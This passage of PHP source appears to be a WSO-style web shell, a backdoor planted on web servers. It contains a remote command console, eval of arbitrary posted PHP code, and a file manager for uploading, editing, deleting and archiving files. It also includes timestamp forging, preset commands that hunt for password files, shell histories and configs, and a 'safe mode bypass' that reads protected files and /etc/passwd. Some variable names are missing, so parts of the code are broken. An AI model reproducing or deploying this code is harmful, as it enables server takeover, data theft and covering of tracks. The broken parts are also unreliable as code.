	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$oRb = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value="submit"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#1a1a1a><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
			break;
		/* () 12.2015 mitryz */
		case 'frame':
			$frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
			if ($frameSrc[0] != '/')
				$frameSrc = '/' . $frameSrc;
			if ($frameSrc[strlen($frameSrc) - 1] != '/')
				$frameSrc = $frameSrc . '/';
			$frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
			echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
			break;
	}
	echo '</div>';
	hardFooter();
}
if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);
function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".ex($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".ex($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	hardFooter();
}
function actionPhp() {
	if( isset($_POST['ajax']) ) {
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
	hardHeader();
	if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
		echo '<h1>PHP info</h1><div class=content>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
		$tmp = preg_replace('!body {.*}!msiU','',$tmp);
		$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
		$tmp = preg_replace('!h1!msiU','h2',$tmp);
		$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
		$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
		echo $tmp;
		echo '</div><br>';
	}
	if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
		echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	hardFooter();
}
function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if ( is_array($_FILES['f']['tmp_name']) ) {
					foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
                        if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
							}
						}
					}
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($ = readdir($dh) ) !== false) {
						$ = $path.$;
						if ( (basename($) == "..") || (basename($) == ".") )
							continue;
						$type = filetype($);
						if ($type == "dir")
							deleteDir($);
						else
							@unlink($);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					prototype('act', $_POST['p1']);
					prototype('f', serialize(@$_POST['f']));
					prototype('c', @$_POST['c']);
				}
				break;
		}
	}
    hardHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';hardFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function cmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "cmp");
	usort($dirs, "cmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr id=fak><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<label><select name='p1'>";
	if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'> Paste</option>";
	echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
    echo "<option value='tar'>+ tar.gz</option>";
    echo "</select></label>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='submit' style='margin-left:10px'></td></tr></form></table></div>";
	hardFooter();
}
function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='submit'></td></tr>
			</table></form>";
	function hardRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $) {
				if(@is_dir($)){
					if($path!=$)
						hardRecursiveGlob($);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($)."\", \"view\",\"\")'>".htmlspecialchars($)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		hardRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:330px;'><br>
            <input type='hidden' name='act' value='find'/><br>
			<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\">
			<input style='margin-left: 20px;' type='submit' value='md5decrypter.com' onclick=\"document.hf.action='https://www.md5decrypter.com/';document.hf.submit()\"><br>
		</form></div>";
	hardFooter();
}
function actionSafeMode() {
	$temp='';
	ob_start();
	switch($_POST['p1']) {
		case 1:
			$temp=@tempnam($test, 'cx');
			if(@copy("compress.zlib://".$_POST['p2'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo 'Sorry... Can\'t open file';
			break;
		case 2:
			$files = glob($_POST['p2'].'*');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."
";
			break;
		case 3:
			$ch = curl_init("file://".$_POST['p2']."".SELF_PATH);
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST['p2']);
			break;
		case 5:
			for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
				$uid = @posix_getpwuid($_POST['p2']);
				if ($uid)
					echo join(':',$uid)."
";
			}
			break;
		case 6:
			if(!function_exists('imap_open'))break;
			$stream = imap_open($_POST['p2'], "", "");
			if ($stream == FALSE)
				break;
			echo imap_body($stream, 1);
			imap_close($stream);
			break;
	}
	$temp = ob_get_clean();
	hardHeader();
	echo '<h1>Safe mode bypass</h1><div class=content>';
	echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
	if($temp)
		echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
	echo '</div>';
	hardFooter();
}
function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die("<div align='center'><div class='container'><div class='sky'><div class='text'>THANK YOU & BYE</div><div class='stars'></div><div class='stars1'></div><div class='stars2'></div><div class='shooting-stars'></div></div></div></div>
